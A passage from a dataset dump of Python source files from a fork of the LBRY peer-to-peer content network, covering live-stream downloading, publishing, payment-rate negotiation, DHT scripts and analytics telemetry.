stream_info_manager_class=DBLiveStreamMetadataManager, blob_manager_class=TempBlobManager):\n \"\"\"\n @param dht_node_port: the network port on which to listen for DHT node requests\n\n @param known_dht_nodes: a list of (ip_address, dht_port) which will be used to join the DHT network\n\n \"\"\"\n\n self.session = Session(blob_manager_class=blob_manager_class,\n stream_info_manager_class=stream_info_manager_class,\n dht_node_class=Node, dht_node_port=dht_node_port, known_dht_nodes=known_dht_nodes,\n use_upnp=False)\n self.payment_rate_manager = BaseLiveStreamPaymentRateManager()\n\n def start(self):\n \"\"\"Initialize the session\"\"\"\n d = self.session.setup()\n return d\n\n def read_sd_file(self, sd_blob):\n reader = BlobStreamDescriptorReader(sd_blob)\n return save_sd_info(self.stream_info_manager, reader, ignore_duplicate=True)\n\n def download_sd_file_from_hash(self, sd_hash):\n downloader = StandaloneBlobDownloader(sd_hash, self.session.blob_manager,\n self.session.peer_finder, self.session.rate_limiter,\n self.session.wallet)\n d = downloader.download()\n return d\n\n def start_download(self, sd_hash):\n \"\"\"Start downloading the stream from the network and outputting it to standard out\"\"\"\n d = self.download_sd_file_from_hash(sd_hash)\n d.addCallbacks(self.read_sd_file)\n\n def start_stream(stream_hash):\n consumer = LiveStreamDownloader(stream_hash, self.session.peer_finder,\n self.session.rate_limiter, self.session.blob_manager,\n self.stream_info_manager, self.payment_rate_manager,\n self.session.wallet)\n return consumer.start()\n\n d.addCallback(start_stream)\n return d\n\n def shut_down(self):\n \"\"\"End the session\"\"\"\n d = self.session.shut_down()\n return d\n\n\ndef launch_stdout_downloader():\n\n from twisted.internet import reactor\n\n logging.basicConfig(level=logging.WARNING, filename=\"dl.log\")\n if len(sys.argv) == 3:\n downloader = StdoutDownloader(int(sys.argv[2]), [])\n elif len(sys.argv) == 5:\n downloader = StdoutDownloader(int(sys.argv[2]), [(sys.argv[3], int(sys.argv[4]))])\n else:\n print \"Usage: lbrynet-stdout-downloader <sd_hash> <peer_port> <dht_node_port>\" \\\n \" [<dht_bootstrap_host> <dht_bootstrap port>]\"\n sys.exit(1)\n\n def start_stdout_downloader():\n return downloader.start_download(sys.argv[1])\n\n def print_error(err):\n logging.warning(err.getErrorMessage())\n\n def shut_down():\n reactor.stop()\n\n d = task.deferLater(reactor, 0, downloader.start)\n d.addCallback(lambda _: start_stdout_downloader())\n d.addErrback(print_error)\n d.addCallback(lambda _: shut_down())\n reactor.addSystemEventTrigger('before', 'shutdown', downloader.shut_down)\n reactor.run()\n" }, { "alpha_fraction": 0.6639838814735413, "alphanum_fraction": 0.6643863320350647, "avg_line_length": 39.73770523071289, "blob_id": "fa28390b8ef3138279dd05d3e52e291a248fd310", "content_id": "dd272e5e68d0c9afd8c0b4885e32e42ed16cd19b", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2485, "license_type": "permissive", "max_line_length": 97, "num_lines": 61, "path": "/lbrynet/lbrynet_daemon/Publisher.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "import logging\nimport mimetypes\nimport os\n\nfrom twisted.internet import defer\nfrom lbrynet.core import file_utils\nfrom lbrynet.lbryfilemanager.EncryptedFileCreator import create_lbry_file\nfrom lbrynet.lbryfile.StreamDescriptor import publish_sd_blob\nfrom lbrynet.metadata.Metadata import Metadata\n\n\nlog = logging.getLogger(__name__)\n\n\nclass Publisher(object):\n def __init__(self, session, lbry_file_manager, wallet):\n self.session = session\n self.lbry_file_manager = lbry_file_manager\n self.wallet = wallet\n self.lbry_file = None\n\n @defer.inlineCallbacks\n def publish_stream(self, name, file_path, bid, metadata):\n log.info('Starting publish for %s', name)\n file_name = os.path.basename(file_path)\n with file_utils.get_read_handle(file_path) as read_handle:\n stream_hash = yield create_lbry_file(self.session, self.lbry_file_manager, file_name,\n read_handle)\n prm = self.session.payment_rate_manager\n self.lbry_file = yield self.lbry_file_manager.add_lbry_file(stream_hash, prm)\n sd_hash = yield publish_sd_blob(self.lbry_file_manager.stream_info_manager,\n self.session.blob_manager, self.lbry_file.stream_hash)\n if 'sources' not in metadata:\n metadata['sources'] = {}\n metadata['sources']['lbry_sd_hash'] = sd_hash\n metadata['content_type'] = get_content_type(file_path)\n metadata['ver'] = Metadata.current_version\n claim_out = yield self.make_claim(name, bid, metadata)\n self.lbry_file.completed = True\n yield self.lbry_file.load_file_attributes()\n yield self.lbry_file.save_status()\n defer.returnValue(claim_out)\n\n @defer.inlineCallbacks\n def update_stream(self, name, bid, metadata):\n my_claim = yield self.wallet.get_my_claim(name)\n updated_metadata = my_claim['value']\n for meta_key in metadata:\n updated_metadata[meta_key] = metadata[meta_key]\n claim_out = yield self.make_claim(name, bid, updated_metadata)\n defer.returnValue(claim_out)\n\n @defer.inlineCallbacks\n def make_claim(self, name, bid, metadata):\n validated_metadata = Metadata(metadata)\n claim_out = yield self.wallet.claim_name(name, bid, validated_metadata)\n defer.returnValue(claim_out)\n\n\ndef get_content_type(filename):\n return mimetypes.guess_type(filename)[0] or 'application/octet-stream'\n" }, { "alpha_fraction": 0.5804196000099182, "alphanum_fraction": 0.5804196000099182, "avg_line_length": 10.916666984558105, "blob_id": "384c18dbc1a329096d767adc86466c1fdcbe4e30", "content_id": "c98eae7b2850bb2fa80a4bd5e3152b0c1be42fe0", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 143, "license_type": "permissive", "max_line_length": 27, "num_lines": 12, "path": "/run_tests.sh", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nset -o xtrace\n\nif [ -z \"$@\" ]; then\n TESTS=tests\nelse\n TESTS=\"$@\"\nfi\n\nfind -iname \"*.pyc\" -delete\nPYTHONPATH=. trial $TESTS\n" }, { "alpha_fraction": 0.7478991746902466, "alphanum_fraction": 0.7478991746902466, "avg_line_length": 28.75, "blob_id": "847600997caa326c30aa15b3f40dbd5d643f1367", "content_id": "280b51a721c737c01646c12c6f86a91383e49e7b", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 119, "license_type": "permissive", "max_line_length": 45, "num_lines": 4, "path": "/lbrynet/analytics/constants.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "\"\"\"Constants for metrics\"\"\"\n\nBLOB_BYTES_UPLOADED = 'Blob Bytes Uploaded'\nBLOB_BYTES_AVAILABLE = 'Blob Bytes Available'\n" }, { "alpha_fraction": 0.6733220219612122, "alphanum_fraction": 0.6741716265678406, "avg_line_length": 43.41509246826172, "blob_id": "7a3caaf25cacdea6d34ab8f49583c92f628ead6e", "content_id": "8b87ea6e3475ba03cb9e7af796c20abc7ad5413a", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2354, "license_type": "permissive", "max_line_length": 94, "num_lines": 53, "path": "/lbrynet/lbrylive/PaymentRateManager.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "# pylint: skip-file\nclass BaseLiveStreamPaymentRateManager(object):\n def __init__(self, blob_info_rate, blob_data_rate=None):\n self.min_live_blob_info_payment_rate = blob_info_rate\n self.min_blob_data_payment_rate = blob_data_rate\n\n\nclass LiveStreamPaymentRateManager(object):\n def __init__(self, base_live_stream_payment_rate_manager, payment_rate_manager,\n blob_info_rate=None, blob_data_rate=None):\n self._base_live_stream_payment_rate_manager = base_live_stream_payment_rate_manager\n self._payment_rate_manager = payment_rate_manager\n self.min_live_blob_info_payment_rate = blob_info_rate\n self.min_blob_data_payment_rate = blob_data_rate\n self.points_paid = 0.0\n\n def get_rate_live_blob_info(self, peer):\n return self.get_effective_min_live_blob_info_payment_rate()\n\n def accept_rate_live_blob_info(self, peer, payment_rate):\n return payment_rate >= self.get_effective_min_live_blob_info_payment_rate()\n\n def get_rate_blob_data(self, peer, blobs):\n response = self._payment_rate_manager.strategy.make_offer(peer, blobs)\n return response.rate\n\n def accept_rate_blob_data(self, peer, blobs, offer):\n response = self._payment_rate_manager.strategy.respond_to_offer(offer, peer, blobs)\n return response.accepted\n\n def reply_to_offer(self, peer, blobs, offer):\n reply = self._payment_rate_manager.strategy.respond_to_offer(offer, peer, blobs)\n self._payment_rate_manager.strategy.offer_accepted(peer, reply)\n return reply\n\n def get_effective_min_blob_data_payment_rate(self):\n rate = self.min_blob_data_payment_rate\n if rate is None:\n rate = self._payment_rate_manager.min_blob_data_payment_rate\n if rate is None:\n rate = self._base_live_stream_payment_rate_manager.min_blob_data_payment_rate\n if rate is None:\n rate = self._payment_rate_manager.get_effective_min_blob_data_payment_rate()\n return rate\n\n def get_effective_min_live_blob_info_payment_rate(self):\n rate = self.min_live_blob_info_payment_rate\n if rate is None:\n rate = self._base_live_stream_payment_rate_manager.min_live_blob_info_payment_rate\n return rate\n\n def record_points_paid(self, amount):\n self.points_paid += amount\n" }, { "alpha_fraction": 0.6218905448913574, "alphanum_fraction": 0.6231343150138855, "avg_line_length": 26.724138259887695, "blob_id": "055db479f55db60cd9943c3fde8cbd4497051d51", "content_id": "87f2d143349982640b27f51543083cac461929ce", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 804, "license_type": "permissive", "max_line_length": 75, "num_lines": 29, "path": "/lbrynet/core/system_info.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "import platform\nimport json\n\nfrom urllib2 import urlopen\n\nfrom lbrynet import __version__ as lbrynet_version\nfrom lbrynet import build_type\nfrom lbryum.version import LBRYUM_VERSION as lbryum_version\n\n\ndef get_platform(get_ip=True):\n p = {\n \"processor\": platform.processor(),\n \"python_version\": platform.python_version(),\n \"platform\": platform.platform(),\n \"os_release\": platform.release(),\n \"os_system\": platform.system(),\n \"lbrynet_version\": lbrynet_version,\n \"lbryum_version\": lbryum_version,\n \"build\": build_type.BUILD, # CI server sets this during build step\n }\n\n if get_ip:\n try:\n p['ip'] = json.load(urlopen('http://jsonip.com'))['ip']\n except:\n p['ip'] = \"Could not determine IP\"\n\n return p\n" }, { "alpha_fraction": 0.5905511975288391, "alphanum_fraction": 0.5905511975288391, "avg_line_length": 25.45833396911621, "blob_id": "6561d13e2686a77ee05fce6c033b1cd973ff2817", "content_id": "7643ebce9e0ae81e3aa4b84bef18593bd4c4316b", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 635, "license_type": "permissive", "max_line_length": 57, "num_lines": 24, "path": "/lbrynet/analytics/track.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "import collections\n\n\nclass Track(object):\n \"\"\"Track and summarize observations of metrics.\"\"\"\n def __init__(self):\n self.data = collections.defaultdict(list)\n\n def add_observation(self, metric, value):\n self.data[metric].append(value)\n\n def summarize_and_reset(self, metric, op=sum):\n \"\"\"Apply `op` on the current values for `metric`.\n\n This operation also resets the metric.\n\n Returns:\n a tuple (should_send, value)\n \"\"\"\n try:\n values = self.data.pop(metric)\n return True, op(values)\n except KeyError:\n return False, None\n" }, { "alpha_fraction": 0.6789524555206299, "alphanum_fraction": 0.6808923482894897, "avg_line_length": 41.95833206176758, "blob_id": "a79ee9f45100e974d5c34ee64f915ee37ad2f33d", "content_id": "46bf54f7a1c0faad8e29f66178d3dd9a614da5b3", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1031, "license_type": "permissive", "max_line_length": 93, "num_lines": 24, "path": "/lbrynet/lbrylive/LiveBlob.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "# pylint: skip-file\nfrom lbrynet.cryptstream.CryptBlob import CryptStreamBlobMaker, CryptBlobInfo\nimport binascii\n\n\nclass LiveBlobInfo(CryptBlobInfo):\n def __init__(self, blob_hash, blob_num, length, iv, revision, signature):\n CryptBlobInfo.__init__(self, blob_hash, blob_num, length, iv)\n self.revision = revision\n self.signature = signature\n\n\nclass LiveStreamBlobMaker(CryptStreamBlobMaker):\n def __init__(self, key, iv, blob_num, blob):\n CryptStreamBlobMaker.__init__(self, key, iv, blob_num, blob)\n # The following is a placeholder for a currently unimplemented feature.\n # In the future it may be possible for the live stream creator to overwrite a blob\n # with a newer revision. If that happens, the 0 will be incremented to the\n # actual revision count\n self.revision = 0\n\n def _return_info(self, blob_hash):\n return LiveBlobInfo(blob_hash, self.blob_num, self.length, binascii.hexlify(self.iv),\n self.revision, None)\n" }, { "alpha_fraction": 0.8235294222831726, "alphanum_fraction": 0.8235294222831726, "avg_line_length": 24.5, "blob_id": "1e028a66dbdf366b81f80fdf7f40d9e96e7e3ef6", "content_id": "1aafe01b46d7f258abf32cde6de250a2d2917385", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 153, "license_type": "permissive", "max_line_length": 35, "num_lines": 6, "path": "/lbrynet/analytics/__init__.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "from constants import *\nfrom events import *\nfrom api import Api\nfrom track import Track\nfrom manager import Manager\nfrom logging_handler import Handler\n" }, { "alpha_fraction": 0.5729424953460693, "alphanum_fraction": 0.5752821564674377, "avg_line_length": 38.489131927490234, "blob_id": "a229599519524df5cde67f469778f0c0245f27e2", "content_id": "2fce90b6b3676aaf484a7aad18ca820890a67ad0", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7266, "license_type": "permissive", "max_line_length": 106, "num_lines": 184, "path": "/lbrynet/lbrylive/server/LiveBlobInfoQueryHandler.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "# pylint: skip-file\nimport logging\nfrom twisted.internet import defer\nfrom zope.interface import implements\nfrom lbrynet.interfaces import IQueryHandlerFactory, IQueryHandler\n\n\nlog = logging.getLogger(__name__)\n\n\nclass CryptBlobInfoQueryHandlerFactory(object):\n implements(IQueryHandlerFactory)\n\n def __init__(self, stream_info_manager, wallet, payment_rate_manager):\n self.stream_info_manager = stream_info_manager\n self.wallet = wallet\n self.payment_rate_manager = payment_rate_manager\n\n ######### IQueryHandlerFactory #########\n\n def build_query_handler(self):\n q_h = CryptBlobInfoQueryHandler(self.stream_info_manager, self.wallet, self.payment_rate_manager)\n return q_h\n\n def get_primary_query_identifier(self):\n return 'further_blobs'\n\n def get_description(self):\n return (\"Stream Blob Information - blob hashes that are associated with streams,\"\n \" and the blobs' associated metadata\")\n\n\nclass CryptBlobInfoQueryHandler(object):\n implements(IQueryHandler)\n\n def __init__(self, stream_info_manager, wallet, payment_rate_manager):\n self.stream_info_manager = stream_info_manager\n self.wallet = wallet\n self.payment_rate_manager = payment_rate_manager\n self.query_identifiers = ['blob_info_payment_rate', 'further_blobs']\n self.blob_info_payment_rate = None\n self.peer = None\n\n ######### IQueryHandler #########\n\n def register_with_request_handler(self, request_handler, peer):\n self.peer = peer\n request_handler.register_query_handler(self, self.query_identifiers)\n\n def handle_queries(self, queries):\n response = {}\n\n if self.query_identifiers[0] in queries:\n if not self.handle_blob_info_payment_rate(queries[self.query_identifiers[0]]):\n return defer.succeed({'blob_info_payment_rate': 'RATE_TOO_LOW'})\n else:\n response['blob_info_payment_rate'] = \"RATE_ACCEPTED\"\n\n if self.query_identifiers[1] in queries:\n further_blobs_request = queries[self.query_identifiers[1]]\n log.debug(\"Received the client's request for additional blob information\")\n\n if self.blob_info_payment_rate is None:\n response['further_blobs'] = {'error': 'RATE_UNSET'}\n return defer.succeed(response)\n\n def count_and_charge(blob_infos):\n if len(blob_infos) != 0:\n log.info(\"Responding with %s infos\", str(len(blob_infos)))\n expected_payment = 1.0 * len(blob_infos) * self.blob_info_payment_rate / 1000.0\n self.wallet.add_expected_payment(self.peer, expected_payment)\n self.peer.update_stats('uploaded_crypt_blob_infos', len(blob_infos))\n return blob_infos\n\n def set_field(further_blobs):\n response['further_blobs'] = {'blob_infos': further_blobs}\n return response\n\n def get_further_blobs(stream_hash):\n if stream_hash is None:\n response['further_blobs'] = {'error': 'REFERENCE_HASH_UNKNOWN'}\n return defer.succeed(response)\n start = further_blobs_request.get(\"start\")\n end = further_blobs_request.get(\"end\")\n count = further_blobs_request.get(\"count\")\n if count is not None:\n try:\n count = int(count)\n except ValueError:\n response['further_blobs'] = {'error': 'COUNT_NON_INTEGER'}\n return defer.succeed(response)\n\n if len([x for x in [start, end, count] if x is not None]) < 2:\n response['further_blobs'] = {'error': 'TOO_FEW_PARAMETERS'}\n return defer.succeed(response)\n\n inner_d = self.get_further_blobs(stream_hash, start, end, count)\n\n inner_d.addCallback(count_and_charge)\n inner_d.addCallback(self.format_blob_infos)\n inner_d.addCallback(set_field)\n return inner_d\n\n if 'reference' in further_blobs_request:\n d = self.get_stream_hash_from_reference(further_blobs_request['reference'])\n d.addCallback(get_further_blobs)\n return d\n else:\n response['further_blobs'] = {'error': 'NO_REFERENCE_SENT'}\n return defer.succeed(response)\n else:\n return defer.succeed({})\n\n ######### internal #########\n\n def handle_blob_info_payment_rate(self, requested_payment_rate):\n if not self.payment_rate_manager.accept_rate_live_blob_info(self.peer, requested_payment_rate):\n return False\n else:\n self.blob_info_payment_rate = requested_payment_rate\n return True\n\n def format_blob_infos(self, blobs):\n blob_infos = []\n for blob_hash, blob_num, revision, iv, length, signature in blobs:\n blob_info = {}\n if length != 0:\n blob_info['blob_hash'] = blob_hash\n blob_info['blob_num'] = blob_num\n blob_info['revision'] = revision\n blob_info['iv'] = iv\n blob_info['length'] = length\n blob_info['signature'] = signature\n blob_infos.append(blob_info)\n return blob_infos\n\n def get_stream_hash_from_reference(self, reference):\n d = self.stream_info_manager.check_if_stream_exists(reference)\n\n def check_if_stream_found(result):\n if result is True:\n return reference\n else:\n return self.stream_info_manager.get_stream_of_blob(reference)\n\n d.addCallback(check_if_stream_found)\n return d\n\n def get_further_blobs(self, stream_hash, start, end, count):\n ds = []\n if start is not None and start != \"beginning\":\n ds.append(self.stream_info_manager.get_stream_of_blob(start))\n if end is not None and end != 'end':\n ds.append(self.stream_info_manager.get_stream_of_blob(end))\n dl = defer.DeferredList(ds, fireOnOneErrback=True)\n\n def ensure_streams_match(results):\n for success, stream_of_blob in results:\n if stream_of_blob != stream_hash:\n raise ValueError(\"Blob does not match stream\")\n return True\n\n def get_blob_infos():\n reverse = False\n count_to_use = count\n if start is None:\n reverse = True\n elif end is not None and count_to_use is not None and count_to_use < 0:\n reverse = True\n if count_to_use is not None and count_to_use < 0:\n count_to_use *= -1\n if start == \"beginning\" or start is None:\n s = None\n else:\n s = start\n if end == \"end\" or end is None:\n e = None\n else:\n e = end\n return self.stream_info_manager.get_blobs_for_stream(stream_hash, s, e, count_to_use, reverse)\n\n dl.addCallback(ensure_streams_match)\n dl.addCallback(lambda _: get_blob_infos())\n return dl\n" }, { "alpha_fraction": 0.6283149719238281, "alphanum_fraction": 0.6332109570503235, "avg_line_length": 22.79611587524414, "blob_id": "984a672c66706205366a2c4c30820fc94a61aaa7", "content_id": "6c3e503bb00ef8080deb6e7e29ada6c32de2f95e", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2451, "license_type": "permissive", "max_line_length": 99, "num_lines": 103, "path": "/lbrynet/dht_scripts.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "from lbrynet.dht.node import Node\nimport binascii\nfrom twisted.internet import reactor, task\nimport logging\nimport sys\nfrom lbrynet.core.utils import generate_id\n\n\nlog = logging.getLogger(__name__)\n\n\ndef print_usage():\n print \"Usage:\\n%s UDP_PORT KNOWN_NODE_IP KNOWN_NODE_PORT HASH\"\n\n\ndef join_network(udp_port, known_nodes):\n lbryid = generate_id()\n\n log.info('Creating Node')\n node = Node(udpPort=udp_port, lbryid=lbryid)\n\n log.info('Joining network')\n d = node.joinNetwork(known_nodes)\n\n def log_network_size():\n log.info(\"Approximate number of nodes in DHT: %s\", str(node.getApproximateTotalDHTNodes()))\n log.info(\"Approximate number of blobs in DHT: %s\", str(node.getApproximateTotalHashes()))\n\n d.addCallback(lambda _: log_network_size())\n\n d.addCallback(lambda _: node)\n\n return d\n\n\ndef get_hosts(node, h):\n\n def print_hosts(hosts):\n print \"Hosts returned from the DHT: \"\n print hosts\n\n log.info(\"Looking up %s\", h)\n d = node.getPeersForBlob(h)\n d.addCallback(print_hosts)\n return d\n\n\ndef announce_hash(node, h):\n d = node.announceHaveBlob(h, 34567)\n\n def log_results(results):\n for success, result in results:\n if success:\n log.info(\"Succeeded: %s\", str(result))\n else:\n log.info(\"Failed: %s\", str(result.getErrorMessage()))\n\n d.addCallback(log_results)\n return d\n\n\ndef get_args():\n if len(sys.argv) < 5:\n print_usage()\n sys.exit(1)\n udp_port = int(sys.argv[1])\n known_nodes = [(sys.argv[2], int(sys.argv[3]))]\n h = binascii.unhexlify(sys.argv[4])\n return udp_port, known_nodes, h\n\n\ndef run_dht_script(dht_func):\n log_format = \"(%(asctime)s)[%(filename)s:%(lineno)s] %(funcName)s(): %(message)s\"\n logging.basicConfig(level=logging.DEBUG, format=log_format)\n\n udp_port, known_nodes, h = get_args()\n\n d = task.deferLater(reactor, 0, join_network, udp_port, known_nodes)\n\n def run_dht_func(node):\n return dht_func(node, h)\n\n d.addCallback(run_dht_func)\n\n def log_err(err):\n log.error(\"An error occurred: %s\", err.getTraceback())\n return err\n\n def shut_down():\n log.info(\"Shutting down\")\n reactor.stop()\n\n d.addErrback(log_err)\n d.addBoth(lambda _: shut_down())\n reactor.run()\n\n\ndef get_hosts_for_hash_in_dht():\n run_dht_script(get_hosts)\n\n\ndef announce_hash_to_dht():\n run_dht_script(announce_hash)\n" }, { "alpha_fraction": 0.6598342061042786, "alphanum_fraction": 0.6616766452789307, "avg_line_length": 36.431034088134766, "blob_id": "d7fb26c4c61f5e702806b904e66e78919a9621d6", "content_id": "c8dbc9d9e33d5ce8235eef549de815ca27a3dcc3", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4342, "license_type": "permissive", "max_line_length": 95, "num_lines": 116, "path": "/lbrynet/analytics/manager.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "from twisted.internet import defer\nfrom twisted.internet import task\n\nfrom lbrynet import conf\nfrom lbrynet.core import looping_call_manager\nfrom lbrynet.core.system_info import get_platform\n\nimport constants\nfrom api import Api\nfrom events import Events, make_context\nfrom track import Track\n\n\nclass Manager(object):\n def __init__(self, analytics_api, events_generator, track):\n self.analytics_api = analytics_api\n self.events_generator = events_generator\n self.track = track\n self.looping_call_manager = self.setup_looping_calls()\n self.is_started = False\n\n @classmethod\n def new_instance(cls, api=None, events=None):\n if api is None:\n api = Api.new_instance()\n if events is None:\n events = Events(\n make_context(get_platform(), conf.settings['wallet']),\n conf.settings.installation_id,\n conf.settings.get_session_id(),\n )\n return cls(api, events, Track())\n\n def update_events_generator(self, events_generator):\n self.events_generator = events_generator\n\n def _get_looping_calls(self):\n return [\n ('send_heartbeat', self._send_heartbeat, 60),\n ('update_tracked_metrics', self._update_tracked_metrics, 300),\n ]\n\n def setup_looping_calls(self):\n call_manager = looping_call_manager.LoopingCallManager()\n for name, fn, _ in self._get_looping_calls():\n call_manager.register_looping_call(name, task.LoopingCall(fn))\n return call_manager\n\n def start(self):\n if not self.is_started:\n for name, _, interval in self._get_looping_calls():\n self.looping_call_manager.start(name, interval)\n self.is_started = True\n\n def shutdown(self):\n self.looping_call_manager.shutdown()\n\n def send_server_startup(self):\n event = self.events_generator.server_startup()\n self.analytics_api.track(event)\n\n def send_server_startup_success(self):\n event = self.events_generator.server_startup_success()\n self.analytics_api.track(event)\n\n def send_server_startup_error(self, message):\n event = self.events_generator.server_startup_error(message)\n self.analytics_api.track(event)\n\n def send_download_started(self, id_, name, stream_info=None):\n event = self.events_generator.download_started(id_, name, stream_info)\n self.analytics_api.track(event)\n\n def send_download_errored(self, id_, name, stream_info=None):\n event = self.events_generator.download_errored(id_, name, stream_info)\n self.analytics_api.track(event)\n\n def send_download_finished(self, id_, name, stream_info=None):\n event = self.events_generator.download_finished(id_, name, stream_info)\n self.analytics_api.track(event)\n\n def send_error(self, message):\n event = self.events_generator.error(message)\n self.analytics_api.track(event)\n\n def register_repeating_metric(self, event_name, value_generator, frequency=300):\n lcall = task.LoopingCall(self._send_repeating_metric, event_name, value_generator)\n self.looping_call_manager.register_looping_call(event_name, lcall)\n lcall.start(frequency)\n\n def _send_heartbeat(self):\n heartbeat = self.events_generator.heartbeat()\n self.analytics_api.track(heartbeat)\n\n def _update_tracked_metrics(self):\n should_send, value = self.track.summarize_and_reset(constants.BLOB_BYTES_UPLOADED)\n if should_send:\n event = self.events_generator.metric_observed(constants.BLOB_BYTES_UPLOADED, value)\n self.analytics_api.track(event)\n\n def _send_repeating_metric(self, event_name, value_generator):\n result = value_generator()\n if_deferred(result, self._send_repeating_metric_value, event_name)\n\n def _send_repeating_metric_value(self, result, event_name):\n should_send, value = result\n if should_send:\n event = self.events_generator.metric_observed(event_name, value)\n self.analytics_api.track(event)\n\n\ndef if_deferred(maybe_deferred, callback, *args, **kwargs):\n if isinstance(maybe_deferred, defer.Deferred):\n maybe_deferred.addCallback(callback, *args, **kwargs)\n else:\n callback(maybe_deferred, *args, **kwargs)\n" }, { "alpha_fraction": 0.6016063094139099, "alphanum_fraction": 0.6021162867546082, "avg_line_length": 42.57777786254883, "blob_id": "54c775a30d36cdb93acd0ad340e7570806e370ac", "content_id": "a59eff1cf068a2751c837467c97c07ab13250884", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7844, "license_type": "permissive", "max_line_length": 112, "num_lines": 180, "path": "/lbrynet/lbrylive/client/LiveStreamDownloader.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "# pylint: skip-file\nimport binascii\nfrom lbrynet.core.StreamDescriptor import StreamMetadata\nfrom lbrynet.cryptstream.client.CryptStreamDownloader import CryptStreamDownloader\nfrom zope.interface import implements\nfrom lbrynet.lbrylive.client.LiveStreamMetadataHandler import LiveStreamMetadataHandler\nfrom lbrynet.lbrylive.client.LiveStreamProgressManager import LiveStreamProgressManager\nimport os\nfrom lbrynet.lbrylive.StreamDescriptor import save_sd_info\nfrom lbrynet.lbrylive.PaymentRateManager import LiveStreamPaymentRateManager\nfrom twisted.internet import defer, threads # , process\nfrom lbrynet.interfaces import IStreamDownloaderFactory\nfrom lbrynet.lbrylive.StreamDescriptor import LiveStreamType\n\n\nclass _LiveStreamDownloader(CryptStreamDownloader):\n\n def __init__(self, stream_hash, peer_finder, rate_limiter, blob_manager, stream_info_manager,\n payment_rate_manager, wallet):\n CryptStreamDownloader.__init__(self, peer_finder, rate_limiter, blob_manager,\n payment_rate_manager, wallet)\n self.stream_hash = stream_hash\n self.stream_info_manager = stream_info_manager\n self.public_key = None\n\n def set_stream_info(self):\n if self.public_key is None and self.key is None:\n\n d = self.stream_info_manager.get_stream_info(self.stream_hash)\n\n def set_stream_info(stream_info):\n public_key, key, stream_name = stream_info\n self.public_key = public_key\n self.key = binascii.unhexlify(key)\n self.stream_name = binascii.unhexlify(stream_name)\n\n d.addCallback(set_stream_info)\n return d\n else:\n return defer.succeed(True)\n\n\nclass LiveStreamDownloader(_LiveStreamDownloader):\n def __init__(self, stream_hash, peer_finder, rate_limiter, blob_manager, stream_info_manager,\n payment_rate_manager, wallet):\n _LiveStreamDownloader.__init__(self, stream_hash, peer_finder, rate_limiter, blob_manager,\n stream_info_manager, payment_rate_manager, wallet)\n\n\n def _get_metadata_handler(self, download_manager):\n return LiveStreamMetadataHandler(self.stream_hash, self.stream_info_manager,\n self.peer_finder, self.public_key, False,\n self.payment_rate_manager, self.wallet, download_manager, 10)\n\n def _get_progress_manager(self, download_manager):\n return LiveStreamProgressManager(self._finished_downloading, self.blob_manager, download_manager,\n delete_blob_after_finished=True, download_whole=False,\n max_before_skip_ahead=10)\n\n def _get_write_func(self):\n def write_func(data):\n if self.stopped is False:\n pass\n return write_func\n\n\nclass FullLiveStreamDownloader(_LiveStreamDownloader):\n def __init__(self, stream_hash, peer_finder, rate_limiter, blob_manager, stream_info_manager,\n payment_rate_manager, wallet):\n _LiveStreamDownloader.__init__(self, stream_hash, peer_finder, rate_limiter,\n blob_manager, stream_info_manager, payment_rate_manager,\n wallet)\n self.file_handle = None\n self.file_name = None\n\n def set_stream_info(self):\n d = _LiveStreamDownloader.set_stream_info(self)\n\n def set_file_name_if_unset():\n if not self.file_name:\n if not self.stream_name:\n self.stream_name = \"_\"\n self.file_name = os.path.basename(self.stream_name)\n\n d.addCallback(lambda _: set_file_name_if_unset())\n return d\n\n def stop(self, err=None):\n d = self._close_file()\n d.addBoth(lambda _: _LiveStreamDownloader.stop(self, err))\n return d\n\n def _start(self):\n if self.file_handle is None:\n d = self._open_file()\n else:\n d = defer.succeed(True)\n d.addCallback(lambda _: _LiveStreamDownloader._start(self))\n return d\n\n def _open_file(self):\n def open_file():\n self.file_handle = open(self.file_name, 'wb')\n return threads.deferToThread(open_file)\n\n def _get_metadata_handler(self, download_manager):\n return LiveStreamMetadataHandler(self.stream_hash, self.stream_info_manager,\n self.peer_finder, self.public_key, 